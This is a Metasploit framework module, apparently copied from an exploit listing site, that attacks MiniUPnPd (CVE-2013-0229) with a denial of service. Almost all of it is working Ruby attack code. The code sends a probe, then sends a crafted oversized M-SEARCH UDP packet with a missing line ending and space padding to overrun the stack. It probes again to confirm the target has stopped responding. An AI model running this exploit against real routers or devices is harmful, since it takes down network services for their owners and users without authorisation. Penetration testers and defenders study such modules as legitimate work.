## https://sploitus.com/exploit?id=PACKETSTORM:180543
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'MiniUPnPd 1.4 Denial of Service (DoS) Exploit',
'Description' => %q{
This module allows remote attackers to cause a denial of service (DoS)
in MiniUPnP 1.0 server via a specifically crafted UDP request.
},
'Author' =>
[
'hdm', # Vulnerability discovery
'Dejan Lukan' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-0229' ],
[ 'OSVDB', '89625' ],
[ 'BID', '57607' ],
[ 'URL', 'https://www.rapid7.com/blog/post/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play/' ],
[ 'URL', 'https://www.hdm.io/writing/SecurityFlawsUPnP.pdf' ]
],
'DisclosureDate' => '2013-03-27',
))
register_options(
[
Opt::RPORT(1900),
OptInt.new('ATTEMPTS', [true, 'Max number of attempts to DoS the remote MiniUPnP ending', 3 ])
])
end
def send_probe(udp_sock, probe)
udp_sock.put(probe)
data = udp_sock.recvfrom
if data and not data[0].empty?
return data[0]
else
return nil
end
end
def run
# the M-SEARCH probe packet that tries to identify whether the service is up or not
msearch_probe = "M-SEARCH * HTTP/1.1\r\n"
msearch_probe << "Host:239.255.255.250:1900\r\n"
msearch_probe << "ST:upnp:rootdevice\r\n"
msearch_probe << "Man:\"ssdp:discover\"\r\n"
msearch_probe << "MX:3\r\n"
msearch_probe << "\r\n"
# the M-SEARCH packet that is being read line by line: there shouldn't be CRLF after the
# ST line
sploit = "M-SEARCH * HTTP/1.1\r\n"
sploit << "HOST: 239.255.255.250:1900\r\n"
sploit << "ST:uuid:schemas:device:MX:3"
# the packet can be at most 1500 bytes long, so add appropriate number of ' ' or '\t'
# this makes the DoS exploit more probable, since we're occupying the stack with arbitrary
# characters: there's more chance that the program will run off the stack.
sploit += ' '*(1500-sploit.length)
# connect to the UDP port
connect_udp
print_status("#{rhost}:#{rport} - Checking UPnP...")
response = send_probe(udp_sock, msearch_probe)
if response.nil?
print_error("#{rhost}:#{rport} - UPnP end not found")
disconnect_udp
return
end
(1..datastore['ATTEMPTS']).each { |attempt|
print_status("#{rhost}:#{rport} - UPnP DoS attempt #{attempt}...")
# send the exploit to the target
print_status("#{rhost}:#{rport} - Sending malformed packet...")
udp_sock.put(sploit)
# send the probe to the target
print_status("#{rhost}:#{rport} - The target should be unresponsive now...")
response = send_probe(udp_sock, msearch_probe)
if response.nil?
print_good("#{rhost}:#{rport} - UPnP unresponsive")
disconnect_udp
return
else
print_status("#{rhost}:#{rport} - UPnP is responsive still")
end
}
disconnect_udp
end
end